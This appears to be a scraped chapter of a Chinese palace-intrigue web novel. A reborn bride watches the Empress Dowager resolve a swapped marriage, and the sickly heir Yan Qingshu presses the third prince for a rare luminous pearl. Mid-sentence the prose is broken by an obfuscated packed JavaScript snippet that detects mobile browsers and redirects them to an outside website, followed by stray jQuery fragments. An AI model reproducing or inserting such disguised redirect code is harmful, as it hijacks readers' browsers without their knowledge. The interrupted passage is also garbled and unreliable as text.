默认冷灰
24号文字
方正启体

5. 浮翠流丹(五)

作者:Nienna本书字数:K更新时间:
    夜风穿牖而过,拂得茜纱起落不定,帐影浮在玉色地面上,晃荡似惊蝶扑簌。


    江闻笛怎么都没有想到,宴太后对宴清束居然偏心至此,欲让江家二女都嫁入王府。


    宴太后眉尾上挑:“怎么,都对哀家的决定不满吗?”


    江闻笛微微欠身:“小女谨遵太后娘娘懿旨。”


    她余光瞥见江宜拂霎时惨白的面容,一股快意如福蜘攀细丝,顺着脊椎爬上来,轻轻拽着心尖发颤。


    如此一来,南归霄空费心思,设宴邀宾一场,最后落得个竹篮打水,怀中空空,此后少不了沦为坊间笑谈话资。


    而江宜拂在宴王府,比在三皇子府报复起来更加容易。江宜拂做世子侧妃,位份在她之下。说直白些就是个妾,见到她还要唤一声“姐姐”行敬礼,何不快哉。


    “妹妹你……”江宜拂上前一步,眼中噙着泪意,似悲似愤,“太后娘娘,臣女出身清白,家风严谨守礼,怎可做出二女共侍一夫这等有违伦常之事?!此乃辱没门楣、败坏家声之举,叫我江家百年清誉何以立足?颜面何存!”


    言罢,她泪珠涟涟,俯身叩礼,额头几近触地,语气中满是不容置疑的决绝与悲怆。


    江闻笛冷眼瞧着,只觉讽刺。


    前世新婚夜,她落下的泪,是江宜拂今日数倍。


    当时,江闻笛求宴清束暗中换回二人。她回三皇子府后,南归霄怨她鲁莽,怒而离府,新婚夜彻夜未归。


    一连冷落两日,直至回门前夜,南归霄方才归来,哄她说是忧她安危,怕宴王府迁怒于她,气极之下,言辞过重。他这几日外出,是为给她善后,送了宴王府不少名贵药材,赔礼告罪。


    反观江宜拂那头,宴清束翌日病倒,江宜拂佯装心疼,衣不解带照料数日,赢得上下一片赞誉。


    一缕清冽的幽香忽地漫入鼻腔,宴清束从侧靠改为坐正,现离她不过一臂之远。


    “皇姑祖母。”宴清束轻轻唤了一声,微微摇头。


    他的态度,明显不像是赞成。


    南归霄赶忙合手,弓腰一礼:“皇祖母,今日乃是黄道吉日,天时地利人和齐聚,有道是双喜临门,方能驱凶化吉。两桩喜事并作一处,更能以双倍祥瑞,保两府皆得安康顺遂。”


    “何况,江家二女都入宴王府。那寒山寺中,了尘大师专门为表哥系的一根千结红线,点起的千盏莲灯,可就……”南归霄语气微顿,眉宇间浮现恰到好处的忧色。


    宴太后略一沉吟:“你说的有几分道理。说说,你想如何处理?”


    南归霄:“我看,将错就错。”


    江闻笛心里暗惊,南归霄竟然如此直白的说了出来。果然,话音未落,便听宴清束道:“三表弟,你这话可有意思了。”


    清润温和的嗓音中,罕见地带上了些许令人琢磨不透的深意。


    一件大家都心照不宣的事情,挑明了,可就不能由着约定俗成的“默契”行事,非要在面上撕扯出个青白分明,高下对错出来不可。


    鼻尖疏影摇枝,芬芳渐淡,宴清束重新后靠,陷入软榻。


    “江家二女都倾慕表哥,表哥娶谁都是一般。”南归霄顿了顿,眸光中寂寥之色满得直往外溢,“事已至此,怀野愿为了表哥名声,退让一步,认下错娶的江大小姐。”


    若非有着十余年日日共饮,夜夜同眠,对江宜拂的神情熟悉到连她眉梢眼角最细微的颤动都能辨出,江闻笛只怕也难以察觉,她嘴角勾起的那一抹浅浅笑弧。


    那缕清冽的梅香仿佛堵在胸口,发酵,酿出闷热和酸腐。江闻笛眼睑不觉垂落,视线虚浮地落在堂中那方纯净如雪的大理石地板上。


    她脑海中不合时宜的想到:这般不显山不露水的富贵窝,遍寻整个南朝,也只有宴王府一家而已。


    若是中间,没有那道冰面断开似的裂隙……她沿着裂缝望去,正正撞上了宴太后的森森目光,方才离去的嬷嬷无声无息的静立在侧。


    心中无鬼,自然无畏。


    江闻笛自然地移开视线,重新放到南归霄身上。


    “换嫁”祸事上,她是再清白冤枉不过的了,不怕嬷嬷查出什么。


    “孟子曾云‘养吾浩然之气’,三表弟实在君子典范,我自愧弗如。”宴清束蓦得开口。


    南归霄眼底浮着层薄雾似的茫然。


    “不是谁都甘心娶个心里没自己的女子做正妻。因这缘故宠妾灭妻的,古往今来可不少。”宴清束低咳了声,又道,“三表弟愿意承担起这个责任,实乃陛下和王贵妃娘娘教导有方。”


    场内霎时静默如深潭,连烛芯爆裂的轻响都清晰可闻。


    这话说得,但凡南归霄日后再纳侧妃良人,非但不是君子作风,还有违父母教诲。


    江闻笛生生压着上扬的唇角,瞥见南归霄耳根涨得通红,目光在江宜拂与宴清束之间来回游移;江宜拂低垂着头,从她的角度看不清神色。


    不过,上一世南归霄都能为了江宜拂,后院只有她这么个好哄的摆设,这一世……


    没过三息,江闻笛就听见南归霄哽着脖子,憋出来一句:“多谢表哥提醒。我身为皇子,婚事多身不由已。只好委屈江大小姐,做我的侧妃了。”


    江闻笛一愣,见江宜拂仰头望向身侧站着的南归霄,泪水顺着瓷白脸颊无声滑落。南归霄对上她的目光,像是被烫到般迅速别开脸去。


    宴太后淡淡“嗯”了一声,为这场闹剧画上句点。江闻笛垂目,礼送太后的身影彻底消失在正堂之外。


    更深露重,回廊下的宫灯明明灭灭,将守夜侍从的身影拉得细长,在朱红廊柱上投下摇晃的暗影。


    南归霄胸口剧烈起伏,喉间溢出一声郁气难消的闷哼。广袖甩开,大步流星踏出两步。行至殿门朱漆立柱旁,他才蓦然侧首,声音裹着压抑的不悦:“拂儿,我们走。”


    江闻笛急忙上前,小心地托住江宜拂肘弯,将人从冰凉的地砖上搀起。


    “姐姐,夜深了,先回皇子府吧。”她嗓音借着搀扶的动作,轻轻拍了拍她的肩胛,面上扬起一抹带着怜惜与关切的温婉笑意,“我送你。”


    从皇子正妃一下子变侧妃,对江宜拂来说无疑是晴天霹雳。此刻眼底血丝蛛网般蔓延,直愣愣地望着仅一步之遥的南归霄。


    江闻笛附在江宜拂耳边,状作关心叮嘱道:“姐姐,不管如何。今日新婚,高兴些,可别冷落了三皇子殿下。”


    “旁的,日后我们再徐徐图之。”她说得极轻。


    江宜拂听后,唇瓣微起,似有万千言语在齿间辗转。


    未等江宜拂吐出一子,身后,宴清束淡淡唤道:“三表弟暂且留步。”


    南归霄即将迈出门槛的步子被精准截停。


    江闻笛瞧南归霄肩膀狠狠抖动,仿若街头游艺人豢养的一只猿猴,被抢食物气急,却无法反抗地直楞楞转回身子,继续完成表演。


    “怎么了?”


    宴太后没在,南归霄连声表哥也不愿意叫了。


    “此事本打算婚后再亲自去三皇子府与三表弟细谈,奈何夏秋之交不便出门,索性现在相商。”


    南归霄闭了闭眼睛,强压脾气:“你直说就是了。”


    “听闻,三表弟手里有一只南海荧火夜明珠。”


    “不错。”南归霄下巴一抬,“此乃南海荧火夜明珠,实为天工造化之奇珍。千颗夜明珠中难觅其一,纵览南海贡珠,亦属极品中的翘楚。”


    窗外银河倾泻,千万点水珠落在白玉地砖上,被人赋予“光斑”之名。


    成婚仪式劳累,又经神思高度紧绷后的骤然松懈,此刻江闻笛只觉浑身倦意如潮水般漫上,那话语飘入耳中,又被夜风打着旋儿裹走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375809|184047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    南归霄:“此珠得名‘荧火’,皆因其在夜幕之下,较之寻常烛光,清亮锐利,能将方圆五尺之地映照得亮如白昼,纤毫毕现。”


    宴清束赞道:“能获如此宝物,三表弟实在厉害、厉害。”


    “你!”南归霄登时如被踩了尾巴的眼镜蛇,暴怒而起,顾不及礼节,抬手指向宴清束。


    宴清束却是笑盈盈道:“不知这颗荧火夜明珠,可否割爱,换与我?府库珍宝任三表弟挑选。”


    这会儿,江闻笛琢磨过味来了。


    荧,是荧荧似火。这颗夜明珠,应当是前世南归霄在旭文帝寿宴上献的宝物。旭文帝得此珠后爱不释手,不久便将礼部交予了他。要知道旭文帝正值壮年,膝下四个皇子,唯独南归霄得了六部之一,而他还是皇长子。


    此举,风动吹幡起,江潮波澜生,在朝局中掀起的震动不言而喻。


    “我夜间服药,正需这枚荧火夜明珠。皇姑祖母与王府众卫寻了多年,皆是一无所获。”


    江闻笛周身仿佛袭掠过一股凉风。


    宴王府,甚至宴太后背后的旭文帝,都找不到的夜明珠,被南归霄找到了。若是这事传出去,旭文帝会怎么想,其余三位皇子又会怎么想?


    宴清束在明晃晃地威胁南归霄。


    “表哥言重,这夜明珠是我意外所得,本就打算赠予你。”南归霄眉头紧蹙,字顿生寒,“我回府后就让人送来。”


    “多谢三表弟。不过,就不劳烦你的人,往我这跑一趟了。”宴清束迤迤然从软榻上起身,“寒鸮,送客。”


    江闻笛松开江宜拂,又安抚性地拍了拍江宜拂的背,目送着两人离去。


    “世子妃,今日疲累,回房休息吧。其余的事情,明日放晴再谈。”话落,宴清束拢裘就走,没有多看她一眼。


    回了婚房,江闻笛在暮鸦的服侍下梳洗更衣。


    不知怎得,拆发时,她脑海里突然闪过一句“三更灯火五更鸡”,像是有件事给忘记了。不凑巧,她还没抓住飘忽的思绪,刚好撞上出去了一趟的暮鸦回来,交给她个匣子,便将其彻底丢之脑后。


    她启匣的刹那,莹光如红日灼目,直刺得眼睫本能一合。待她缓神片刻后定睛一看,躺在明黄色软布上的,可不正是那颗南海荧火夜明珠。


    “世子不喜屋中有人,府里从不留侍女守夜。”暮鸦解释道,“世子说,世子妃刚来王府,各方面恐多不习惯。夜明珠就先放在世子妃这,给您夜间用。”


    江闻笛没有理由拒绝,收下了。念着使用方便,没锁匣子,搁在拔步床上,两个枕头中间。


    剪烛熄灯后,江闻笛顾虑她睡姿不好,蜷在内侧睡下了。


    京中传言,宴世子温润如玉,君子端方,待人接物谦谦有礼,从未与人争执半句。纵使听闻位卑者言语无状,亦不过淡然一笑,从不与之计较。


    只是这份宽和,在旁人眼中,却与他屡屡席间告退、宴中昏厥、殿试咳血的孱弱身子一道,成了茶余饭后的谈资笑柄。更有人以他为训,哄劝小儿用膳:“若不乖乖进食,便会似宴世子一般,三步一咳,弱不禁风。”


    然眼前之人,却与传言大相径庭。


    交谈间,那温雅谦和之中,毫无半分市井传闻里的弱气,反倒似覆雪清泉,表面清华,内里却句句寒凉。


    思绪渐沉,她不知不觉阖上了眼帘。


    一声凄厉的鸡鸣似刺刀破膛,不给今夜留下片刻宁静。


    江闻笛从睡梦中惊醒,遽然起身,第一时间打开夜明珠匣盖。


    幽暗室内骤然迸出一泓澄澈光华,亮如破晓时分的天光。


    她抬眸望向眼前人。


    宴清束单手随意扯着脖颈间松垮的狐裘系带,玄色大氅半敞着滑落肩头,露出内里雪白的中衣衣襟。


    “世子?您怎么……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)